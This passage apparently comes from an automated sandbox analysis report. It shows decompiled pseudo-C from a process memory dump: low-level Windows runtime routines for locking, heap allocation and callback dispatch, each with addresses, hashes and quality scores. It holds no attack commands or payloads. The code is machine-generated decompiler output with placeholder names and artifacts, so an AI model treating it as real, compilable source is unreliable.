                                      				void* _t59;
                                      				signed int* _t61;
                                      				intOrPtr* _t64;
                                      
                                      				_t61 = __ecx;
                                      				_v12 = 0;
                                      				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
                                      				_v16 = __ecx;
                                      				_v8 = 0;
                                      				if(_t30 == 0) {
                                      					L6:
                                      					_t31 = 0;
                                      					L7:
                                      					return _t31;
                                      				}
                                      				_t32 = _t30 + 0x5d8;
                                      				if(_t32 == 0) {
                                      					goto L6;
                                      				}
                                      				_t59 = _t32 + 0x30;
                                      				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
                                      					goto L6;
                                      				}
                                      				if(__ecx != 0) {
                                      					 *((intOrPtr*)(__ecx)) = 0;
                                      					 *((intOrPtr*)(__ecx + 4)) = 0;
                                      				}
                                      				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
                                      					_t51 =  *(_t32 + 0x10);
                                      					_t33 = _t32 + 0x10;
                                      					_v20 = _t33;
                                      					_t54 =  *(_t33 + 4);
                                      					if((_t51 | _t54) == 0) {
                                      						_t37 = E03695E50(0x36467cc, 0, 0,  &_v12);
                                      						if(_t37 != 0) {
                                      							goto L6;
                                      						}
                                      						_t52 = _v8;
                                      						asm("lock cmpxchg8b [esi]");
                                      						_t64 = _v16;
                                      						_t49 = _t37;
                                      						_v20 = 0;
                                      						if(_t37 == 0) {
                                      							if(_t64 != 0) {
                                      								 *_t64 = _v12;
                                      								 *((intOrPtr*)(_t64 + 4)) = _t52;
                                      							}
                                      							E03739D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
                                      							_t31 = 1;
                                      							goto L7;
                                      						}
                                      						E0366F7C0(_t52, _v12, _t52, 0);
                                      						if(_t64 != 0) {
                                      							 *_t64 = _t49;
                                      							 *((intOrPtr*)(_t64 + 4)) = _v20;
                                      						}
                                      						L12:
                                      						_t31 = 1;
                                      						goto L7;
                                      					}
                                      					if(_t61 != 0) {
                                      						 *_t61 = _t51;
                                      						_t61[1] = _t54;
                                      					}
                                      					goto L12;
                                      				} else {
                                      					goto L6;
                                      				}
                                      			}



















                                      0x036961b3
                                      0x036961b5
                                      0x036961bd
                                      0x036961c3
                                      0x036961c7
                                      0x036961d2
                                      0x036961ff
                                      0x036961ff
                                      0x03696201
                                      0x03696207
                                      0x03696207
                                      0x036961d4
                                      0x036961d9
                                      0x00000000
                                      0x00000000
                                      0x036961df
                                      0x036961e2
                                      0x00000000
                                      0x00000000
                                      0x036961e6
                                      0x036961e8
                                      0x036961ee
                                      0x036961ee
                                      0x036961f9
                                      0x036d762f
                                      0x036d7632
                                      0x036d7635
                                      0x036d7639
                                      0x036d7640
                                      0x036d766e
                                      0x036d7675
                                      0x00000000
                                      0x00000000
                                      0x036d7681
                                      0x036d7689
                                      0x036d768d
                                      0x036d7691
                                      0x036d7695
                                      0x036d7699
                                      0x036d76af
                                      0x036d76b5
                                      0x036d76b7
                                      0x036d76b7
                                      0x036d76d7
                                      0x036d76dc
                                      0x00000000
                                      0x036d76dc
                                      0x036d76a2
                                      0x036d76a9
                                      0x036d7651
                                      0x036d7653
                                      0x036d7653
                                      0x036d7656
                                      0x036d7656
                                      0x00000000
                                      0x036d7656
                                      0x036d7644
                                      0x036d7646
                                      0x036d7648
                                      0x036d7648
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 2dc724898a53fb6d4ff0dc19247a1665f7a42198ad8e691ff937f24ce472b038
                                      • Instruction ID: 0fb19004cfc62b60d49ca9cd66da29f6031c64ff3dec78209f0053c8e73432e4
                                      • Opcode Fuzzy Hash: 2dc724898a53fb6d4ff0dc19247a1665f7a42198ad8e691ff937f24ce472b038
                                      • Instruction Fuzzy Hash: AA318071A053418FD720CF1DC900B26F7E8FB88B10F09496EE9949B351E770D804CB96
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 58%
                                      			E036A4A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
                                      				signed int _v8;
                                      				signed int* _v12;
                                      				char _v13;
                                      				signed int _v16;
                                      				char _v21;
                                      				signed int* _v24;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t29;
                                      				signed int* _t32;
                                      				signed int* _t41;
                                      				signed int _t42;
                                      				void* _t43;
                                      				intOrPtr* _t51;
                                      				void* _t52;
                                      				signed int _t53;
                                      				signed int _t58;
                                      				void* _t59;
                                      				signed int _t60;
                                      				signed int _t62;
                                      
                                      				_t49 = __edx;
                                      				_t62 = (_t60 & 0xfffffff8) - 0xc;
                                      				_t26 =  *0x375d360 ^ _t62;
                                      				_v8 =  *0x375d360 ^ _t62;
                                      				_t41 = __ecx;
                                      				_t51 = __edx;
                                      				_v12 = __ecx;
                                      				if(_a4 == 0) {
                                      					if(_a8 != 0) {
                                      						goto L1;
                                      					}
                                      					_v13 = 1;
                                      					E03682280(_t26, 0x3758608);
                                      					_t58 =  *_t41;
                                      					if(_t58 == 0) {
                                      						L11:
                                      						E0367FFB0(_t41, _t51, 0x3758608);
                                      						L2:
                                      						 *0x375b1e0(_a4, _a8);
                                      						_t42 =  *_t51();
                                      						if(_t42 == 0) {
                                      							_t29 = 0;
                                      							L5:
                                      							_pop(_t52);
                                      							_pop(_t59);
                                      							_pop(_t43);
                                      							return E036AB640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
                                      						}
                                      						 *((intOrPtr*)(_t42 + 0x34)) = 1;
                                      						if(_v21 != 0) {
                                      							_t53 = 0;
                                      							E03682280(_t28, 0x3758608);
                                      							_t32 = _v24;
                                      							if( *_t32 == _t58) {
                                      								 *_t32 = _t42;
                                      								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
                                      								if(_t58 != 0) {
                                      									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
                                      									asm("sbb edi, edi");
                                      									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
                                      								}
                                      							}
                                      							E0367FFB0(_t42, _t53, 0x3758608);
                                      							if(_t53 != 0) {
                                      								L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
                                      							}
                                      						}
                                      						_t29 = _t42;
                                      						goto L5;
                                      					}
                                      					if( *((char*)(_t58 + 0x40)) != 0) {
                                      						L10:
                                      						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
                                      						E0367FFB0(_t41, _t51, 0x3758608);
                                      						_t29 = _t58;
                                      						goto L5;
                                      					}
                                      					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
                                      					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
                                      						goto L11;
                                      					}
                                      					goto L10;
                                      				}
                                      				L1:
                                      				_v13 = 0;
                                      				_t58 = 0;
                                      				goto L2;
                                      			}
























                                      0x036a4a2c
                                      0x036a4a34
                                      0x036a4a3c
                                      0x036a4a3e
                                      0x036a4a48
                                      0x036a4a4b
                                      0x036a4a4d
                                      0x036a4a51
                                      0x036a4a9c
                                      0x00000000
                                      0x00000000
                                      0x036a4aa3
                                      0x036a4aa8
                                      0x036a4aad
                                      0x036a4ab1
                                      0x036a4ade
                                      0x036a4ae3
                                      0x036a4a5a
                                      0x036a4a62
                                      0x036a4a6a
                                      0x036a4a6e
                                      0x036df203
                                      0x036a4a84
                                      0x036a4a88
                                      0x036a4a89
                                      0x036a4a8a
                                      0x036a4a95
                                      0x036a4a95
                                      0x036a4a79
                                      0x036a4a80
                                      0x036a4af2
                                      0x036a4af4
                                      0x036a4af9
                                      0x036a4aff
                                      0x036a4b01
                                      0x036a4b03
                                      0x036a4b08
                                      0x036df20a
                                      0x036df212
                                      0x036df216
                                      0x036df216
                                      0x036a4b08
                                      0x036a4b13
                                      0x036a4b1a
                                      0x036df229
                                      0x036df229
                                      0x036a4b1a
                                      0x036a4a82
                                      0x00000000
                                      0x036a4a82
                                      0x036a4ab7
                                      0x036a4acd
                                      0x036a4acd
                                      0x036a4ad5
                                      0x036a4ada
                                      0x00000000
                                      0x036a4ada
                                      0x036a4ac2
                                      0x036a4acb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036a4acb
                                      0x036a4a53
                                      0x036a4a53
                                      0x036a4a58
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4c165f8d8c88ff644df19a8c2e282b0d6ccd6f650544b0564796f3d29c639a99
                                      • Instruction ID: 8152390e940b5619435a9ed0f66b195911919fa3891dd9e51fe7686d2c70d2ed
                                      • Opcode Fuzzy Hash: 4c165f8d8c88ff644df19a8c2e282b0d6ccd6f650544b0564796f3d29c639a99
                                      • Instruction Fuzzy Hash: F031E132201B54DBC722EF69CE46B2AB7E4FB84610F044559E9660B345CBF0DC01CF8A
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 93%
                                      			E036A8EC7(void* __ecx, void* __edx) {
                                      				signed int _v8;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				char* _v28;
                                      				intOrPtr _v32;
                                      				intOrPtr _v36;
                                      				intOrPtr _v40;
                                      				signed int* _v44;
                                      				intOrPtr _v48;
                                      				intOrPtr _v52;
                                      				intOrPtr _v56;
                                      				signed int* _v60;
                                      				intOrPtr _v64;
                                      				intOrPtr _v68;
                                      				intOrPtr _v72;
                                      				char* _v76;
                                      				intOrPtr _v80;
                                      				signed int _v84;
                                      				intOrPtr _v88;
                                      				intOrPtr _v92;
                                      				intOrPtr _v96;
                                      				intOrPtr _v100;
                                      				intOrPtr _v104;
                                      				signed int* _v108;
                                      				char _v140;
                                      				signed int _v144;
                                      				signed int _v148;
                                      				intOrPtr _v152;
                                      				char _v156;
                                      				intOrPtr _v160;
                                      				char _v164;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* _t67;
                                      				intOrPtr _t70;
                                      				void* _t71;
                                      				void* _t72;
                                      				signed int _t73;
                                      
                                      				_t69 = __edx;
                                      				_v8 =  *0x375d360 ^ _t73;
                                      				_t48 =  *[fs:0x30];
                                      				_t72 = __edx;
                                      				_t71 = __ecx;
                                      				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
                                      					_t48 = E03694E70(0x37586e4, 0x36a9490, 0, 0);
                                      					if( *0x37553e8 > 5 && E036A8F33(0x37553e8, 0, 0x2000) != 0) {
                                      						_v156 =  *((intOrPtr*)(_t71 + 0x44));
                                      						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
                                      						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
                                      						_v164 =  *((intOrPtr*)(_t72 + 0x58));
                                      						_v108 =  &_v84;
                                      						_v92 =  *((intOrPtr*)(_t71 + 0x28));
                                      						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
                                      						_v76 =  &_v156;
                                      						_t70 = 8;
                                      						_v60 =  &_v144;
                                      						_t67 = 4;
                                      						_v44 =  &_v148;
                                      						_v152 = 0;
                                      						_v160 = 0;
                                      						_v104 = 0;
                                      						_v100 = 2;
                                      						_v96 = 0;
                                      						_v88 = 0;
                                      						_v80 = 0;
                                      						_v72 = 0;
                                      						_v68 = _t70;
                                      						_v64 = 0;
                                      						_v56 = 0;
                                      						_v52 = 0x37553e8;
                                      						_v48 = 0;
                                      						_v40 = 0;
                                      						_v36 = 0x37553e8;
                                      						_v32 = 0;
                                      						_v28 =  &_v164;
                                      						_v24 = 0;
                                      						_v20 = _t70;
                                      						_v16 = 0;
                                      						_t69 = 0x364bc46;
                                      						_t48 = E036E7B9C(0x37553e8, 0x364bc46, _t67, 0x37553e8, _t70,  &_v140);
                                      					}
                                      				}
                                      				return E036AB640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
                                      			}











































                                      0x036a8ec7
                                      0x036a8ed9
                                      0x036a8edc
                                      0x036a8ee6
                                      0x036a8ee9
                                      0x036a8eee
                                      0x036a8efc
                                      0x036a8f08
                                      0x036e1349
                                      0x036e1353
                                      0x036e135d
                                      0x036e1366
                                      0x036e136f
                                      0x036e1375
                                      0x036e137c
                                      0x036e1385
                                      0x036e1390
                                      0x036e1391
                                      0x036e139c
                                      0x036e139d
                                      0x036e13a6
                                      0x036e13ac
                                      0x036e13b2
                                      0x036e13b5
                                      0x036e13bc
                                      0x036e13bf
                                      0x036e13c2
                                      0x036e13c5
                                      0x036e13c8
                                      0x036e13cb
                                      0x036e13ce
                                      0x036e13d1
                                      0x036e13d4
                                      0x036e13d7
                                      0x036e13da
                                      0x036e13dd
                                      0x036e13e0
                                      0x036e13e3
                                      0x036e13e6
                                      0x036e13e9
                                      0x036e13f6
                                      0x036e1400
                                      0x036e1400
                                      0x036a8f08
                                      0x036a8f32

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f3d234a24a5c2f7a811bf25d3edd3369a4b7d42544cbc1d4b7923e14855876bb
                                      • Instruction ID: 11f82ff01205045ec49f74d5b2d6b69413075acbbd536dd1b0517a546aac728d
                                      • Opcode Fuzzy Hash: f3d234a24a5c2f7a811bf25d3edd3369a4b7d42544cbc1d4b7923e14855876bb
                                      • Instruction Fuzzy Hash: 05419EB1D007189EDB24CFAAD980AADFBF8FB48310F5081AEE519A7200E7745A84CF50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 74%
                                      			E0369E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
                                      				intOrPtr* _v0;
                                      				signed char _v4;
                                      				signed int _v8;
                                      				void* __ecx;
                                      				void* __ebp;
                                      				void* _t37;
                                      				intOrPtr _t38;
                                      				signed int _t44;
                                      				signed char _t52;
                                      				void* _t54;
                                      				intOrPtr* _t56;
                                      				void* _t58;
                                      				char* _t59;
                                      				signed int _t62;
                                      
                                      				_t58 = __edx;
                                      				_push(0);
                                      				_push(4);
                                      				_push( &_v8);
                                      				_push(0x24);
                                      				_push(0xffffffff);
                                      				if(E036A9670() < 0) {
                                      					L036BDF30(_t54, _t58, _t35);
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					asm("int3");
                                      					_push(_t54);
                                      					_t52 = _v4;
                                      					if(_t52 > 8) {
                                      						_t37 = 0xc0000078;
                                      					} else {
                                      						_t38 =  *0x3757b9c; // 0x0
                                      						_t62 = _t52 & 0x000000ff;
                                      						_t59 = L03684620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
                                      						if(_t59 == 0) {
                                      							_t37 = 0xc0000017;
                                      						} else {
                                      							_t56 = _v0;
                                      							 *(_t59 + 1) = _t52;
                                      							 *_t59 = 1;
                                      							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
                                      							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
                                      							_t44 = _t62 - 1;
                                      							if(_t44 <= 7) {
                                      								switch( *((intOrPtr*)(_t44 * 4 +  &M0369E810))) {
                                      									case 0:
                                      										L6:
                                      										 *((intOrPtr*)(_t59 + 8)) = _a8;
                                      										goto L7;
                                      									case 1:
                                      										L13:
                                      										 *((intOrPtr*)(__edx + 0xc)) = _a12;
                                      										goto L6;
                                      									case 2:
                                      										L12:
                                      										 *((intOrPtr*)(__edx + 0x10)) = _a16;
                                      										goto L13;
                                      									case 3:
                                      										L11:
                                      										 *((intOrPtr*)(__edx + 0x14)) = _a20;
                                      										goto L12;
                                      									case 4:
                                      										L10:
                                      										 *((intOrPtr*)(__edx + 0x18)) = _a24;
                                      										goto L11;
                                      									case 5:
                                      										L9:
                                      										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
                                      										goto L10;
                                      									case 6:
                                      										L17:
                                      										 *((intOrPtr*)(__edx + 0x20)) = _a32;
                                      										goto L9;
                                      									case 7:
                                      										 *((intOrPtr*)(__edx + 0x24)) = _a36;
                                      										goto L17;
                                      								}
                                      							}
                                      							L7:
                                      							 *_a40 = _t59;
                                      							_t37 = 0;
                                      						}
                                      					}
                                      					return _t37;
                                      				} else {
                                      					_push(0x20);
                                      					asm("ror eax, cl");
                                      					return _a4 ^ _v8;
                                      				}
                                      			}

















                                      0x0369e730
                                      0x0369e736
                                      0x0369e738
                                      0x0369e73d
                                      0x0369e73e
                                      0x0369e740
                                      0x0369e749
                                      0x0369e765
                                      0x0369e76a
                                      0x0369e76b
                                      0x0369e76c
                                      0x0369e76d
                                      0x0369e76e
                                      0x0369e76f
                                      0x0369e775
                                      0x0369e777
                                      0x0369e77e
                                      0x036db675
                                      0x0369e784
                                      0x0369e784
                                      0x0369e789
                                      0x0369e7a8
                                      0x0369e7ac
                                      0x0369e807
                                      0x0369e7ae
                                      0x0369e7ae
                                      0x0369e7b1
                                      0x0369e7b4
                                      0x0369e7b9
                                      0x0369e7c0
                                      0x0369e7c4
                                      0x0369e7ca
                                      0x0369e7cc
                                      0x00000000
                                      0x0369e7d3
                                      0x0369e7d6
                                      0x00000000
                                      0x00000000
                                      0x0369e7ff
                                      0x0369e802
                                      0x00000000
                                      0x00000000
                                      0x0369e7f9
                                      0x0369e7fc
                                      0x00000000
                                      0x00000000
                                      0x0369e7f3
                                      0x0369e7f6
                                      0x00000000
                                      0x00000000
                                      0x0369e7ed
                                      0x0369e7f0
                                      0x00000000
                                      0x00000000
                                      0x0369e7e7
                                      0x0369e7ea
                                      0x00000000
                                      0x00000000
                                      0x036db685
                                      0x036db688
                                      0x00000000
                                      0x00000000
                                      0x036db682
                                      0x00000000
                                      0x00000000
                                      0x0369e7cc
                                      0x0369e7d9
                                      0x0369e7dc
                                      0x0369e7de
                                      0x0369e7de
                                      0x0369e7ac
                                      0x0369e7e4
                                      0x0369e74b
                                      0x0369e751
                                      0x0369e759
                                      0x0369e761
                                      0x0369e761

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a9b7d5fb318c6ce6cb5a3ca82126d43bfbe7816c1114ee640d02d33387e0d0f0
                                      • Instruction ID: 09268820ef6b9995e9f3d5cd52047095249122ecc739f9299cdd863ac53e9624
                                      • Opcode Fuzzy Hash: a9b7d5fb318c6ce6cb5a3ca82126d43bfbe7816c1114ee640d02d33387e0d0f0
                                      • Instruction Fuzzy Hash: 4031A275A14249EFEB04CF58C844F96B7E8FB08310F14825AF904CB341D631EC90CBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 67%
                                      			E0369BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
                                      				intOrPtr _v8;
                                      				intOrPtr _v12;
                                      				void* __ebx;
                                      				void* __edi;
                                      				intOrPtr _t22;
                                      				intOrPtr* _t41;
                                      				intOrPtr _t51;
                                      
                                      				_t51 =  *0x3756100; // 0x1d
                                      				_v12 = __edx;
                                      				_v8 = __ecx;
                                      				if(_t51 >= 0x800) {
                                      					L12:
                                      					return 0;
                                      				} else {
                                      					goto L1;
                                      				}
                                      				while(1) {
                                      					L1:
                                      					_t22 = _t51;
                                      					asm("lock cmpxchg [ecx], edx");
                                      					if(_t51 == _t22) {
                                      						break;
                                      					}
                                      					_t51 = _t22;
                                      					if(_t22 < 0x800) {
                                      						continue;
                                      					}
                                      					goto L12;
                                      				}
                                      				E03682280(0xd, 0x114af1a0);
                                      				_t41 =  *0x37560f8; // 0x0
                                      				if(_t41 != 0) {
                                      					 *0x37560f8 =  *_t41;
                                      					 *0x37560fc =  *0x37560fc + 0xffff;
                                      				}
                                      				E0367FFB0(_t41, 0x800, 0x114af1a0);
                                      				if(_t41 != 0) {
                                      					L6:
                                      					asm("movsd");
                                      					asm("movsd");
                                      					asm("movsd");
                                      					asm("movsd");
                                      					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
                                      					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
                                      					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
                                      					do {
                                      						asm("lock xadd [0x37560f0], ax");
                                      						 *((short*)(_t41 + 0x34)) = 1;
                                      					} while (1 == 0);
                                      					goto L8;
                                      				} else {
                                      					_t41 = L03684620(0x3756100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
                                      					if(_t41 == 0) {
                                      						L11:
                                      						asm("lock dec dword [0x3756100]");
                                      						L8:
                                      						return _t41;
                                      					}
                                      					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
                                      					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
                                      					if(_t41 == 0) {
                                      						goto L11;
                                      					}
                                      					goto L6;
                                      				}
                                      			}










                                      0x0369bc36
                                      0x0369bc42
                                      0x0369bc45
                                      0x0369bc4a
                                      0x0369bd35
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0369bc50
                                      0x0369bc50
                                      0x0369bc58
                                      0x0369bc5a
                                      0x0369bc60
                                      0x00000000
                                      0x00000000
                                      0x036da4f2
                                      0x036da4f6
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036da4fc
                                      0x0369bc79
                                      0x0369bc7e
                                      0x0369bc86
                                      0x0369bd16
                                      0x0369bd20
                                      0x0369bd20
                                      0x0369bc8d
                                      0x0369bc94
                                      0x0369bcbd
                                      0x0369bcca
                                      0x0369bccb
                                      0x0369bccc
                                      0x0369bccd
                                      0x0369bcce
                                      0x0369bcd4
                                      0x0369bcea
                                      0x0369bcee
                                      0x0369bcf2
                                      0x0369bd00
                                      0x0369bd04
                                      0x00000000
                                      0x0369bc96
                                      0x0369bcab
                                      0x0369bcaf
                                      0x0369bd2c
                                      0x0369bd2c
                                      0x0369bd09
                                      0x00000000
                                      0x0369bd09
                                      0x0369bcb1
                                      0x0369bcb5
                                      0x0369bcbb
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0369bcbb

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 71e2692e44a0c34efac9e4f7112c80777600dec927fac8190b69fea5eb2a2191
                                      • Instruction ID: 21ef6a349e030b53d3652f39ee0ae89ea3bcfc18d86767023bd4743868264255
                                      • Opcode Fuzzy Hash: 71e2692e44a0c34efac9e4f7112c80777600dec927fac8190b69fea5eb2a2191
                                      • Instruction Fuzzy Hash: 0631E536A00715DBEF11EF58E4C0BA6B3A8EB19311F54407AED48DB305EBB4D94A8B90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 76%
                                      			E03669100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
                                      				signed int _t53;
                                      				signed int _t56;
                                      				signed int* _t60;
                                      				signed int _t63;
                                      				signed int _t66;
                                      				signed int _t69;
                                      				void* _t70;
                                      				intOrPtr* _t72;
                                      				void* _t78;
                                      				void* _t79;
                                      				signed int _t80;
                                      				intOrPtr _t82;
                                      				void* _t85;
                                      				void* _t88;
                                      				void* _t89;
                                      
                                      				_t84 = __esi;
                                      				_t70 = __ecx;
                                      				_t68 = __ebx;
                                      				_push(0x2c);
                                      				_push(0x373f6e8);
                                      				E036BD0E8(__ebx, __edi, __esi);
                                      				 *((char*)(_t85 - 0x1d)) = 0;
                                      				_t82 =  *((intOrPtr*)(_t85 + 8));
                                      				if(_t82 == 0) {
                                      					L4:
                                      					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
                                      						E037388F5(_t68, _t70, _t78, _t82, _t84, __eflags);
                                      					}
                                      					L5:
                                      					return E036BD130(_t68, _t82, _t84);
                                      				}
                                      				_t88 = _t82 -  *0x37586c0; // 0x9007b0
                                      				if(_t88 == 0) {
                                      					goto L4;
                                      				}
                                      				_t89 = _t82 -  *0x37586b8; // 0x0
                                      				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
                                      					goto L4;
                                      				} else {
                                      					E03682280(_t82 + 0xe0, _t82 + 0xe0);
                                      					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
                                      					__eflags =  *((char*)(_t82 + 0xe5));
                                      					if(__eflags != 0) {
                                      						E037388F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
                                      						goto L12;
                                      					} else {
                                      						__eflags =  *((char*)(_t82 + 0xe4));
                                      						if( *((char*)(_t82 + 0xe4)) == 0) {
                                      							 *((char*)(_t82 + 0xe4)) = 1;
                                      							_push(_t82);
                                      							_push( *((intOrPtr*)(_t82 + 0x24)));
                                      							E036AAFD0();
                                      						}
                                      						while(1) {
                                      							_t60 = _t82 + 8;
                                      							 *(_t85 - 0x2c) = _t60;
                                      							_t68 =  *_t60;
                                      							_t80 = _t60[1];
                                      							 *(_t85 - 0x28) = _t68;
                                      							 *(_t85 - 0x24) = _t80;
                                      							while(1) {
                                      								L10:
                                      								__eflags = _t80;
                                      								if(_t80 == 0) {
                                      									break;
                                      								}
                                      								_t84 = _t68;
                                      								 *(_t85 - 0x30) = _t80;
                                      								 *(_t85 - 0x24) = _t80 - 1;
                                      								asm("lock cmpxchg8b [edi]");
                                      								_t68 = _t84;
                                      								 *(_t85 - 0x28) = _t68;
                                      								 *(_t85 - 0x24) = _t80;
                                      								__eflags = _t68 - _t84;
                                      								_t82 =  *((intOrPtr*)(_t85 + 8));
                                      								if(_t68 != _t84) {
                                      									continue;
                                      								}
                                      								__eflags = _t80 -  *(_t85 - 0x30);
                                      								if(_t80 !=  *(_t85 - 0x30)) {
                                      									continue;
                                      								}
                                      								__eflags = _t80;
                                      								if(_t80 == 0) {
                                      									break;
                                      								}
                                      								_t63 = 0;
                                      								 *(_t85 - 0x34) = 0;
                                      								_t84 = 0;
                                      								__eflags = 0;
                                      								while(1) {
                                      									 *(_t85 - 0x3c) = _t84;
                                      									__eflags = _t84 - 3;
                                      									if(_t84 >= 3) {
                                      										break;
                                      									}
                                      									__eflags = _t63;
                                      									if(_t63 != 0) {
                                      										L40:
                                      										_t84 =  *_t63;
                                      										__eflags = _t84;
                                      										if(_t84 != 0) {
                                      											_t84 =  *(_t84 + 4);
                                      											__eflags = _t84;
                                      											if(_t84 != 0) {
                                      												 *0x375b1e0(_t63, _t82);
                                      												 *_t84();
                                      											}
                                      										}
                                      										do {
                                      											_t60 = _t82 + 8;
                                      											 *(_t85 - 0x2c) = _t60;
                                      											_t68 =  *_t60;
                                      											_t80 = _t60[1];
                                      											 *(_t85 - 0x28) = _t68;
                                      											 *(_t85 - 0x24) = _t80;
                                      											goto L10;
                                      										} while (_t63 == 0);
                                      										goto L40;
                                      									}
                                      									_t69 = 0;
                                      									__eflags = 0;
                                      									while(1) {
                                      										 *(_t85 - 0x38) = _t69;
                                      										__eflags = _t69 -  *0x37584c0;
                                      										if(_t69 >=  *0x37584c0) {
                                      											break;
                                      										}
                                      										__eflags = _t63;
                                      										if(_t63 != 0) {
                                      											break;
                                      										}
                                      										_t66 = E03739063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
                                      										__eflags = _t66;
                                      										if(_t66 == 0) {
                                      											_t63 = 0;
                                      											__eflags = 0;
                                      										} else {
                                      											_t63 = _t66 + 0xfffffff4;
                                      										}
                                      										 *(_t85 - 0x34) = _t63;
                                      										_t69 = _t69 + 1;
                                      									}
                                      									_t84 = _t84 + 1;
                                      								}
                                      								__eflags = _t63;
                                      							}
                                      							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
                                      							 *((char*)(_t82 + 0xe5)) = 1;
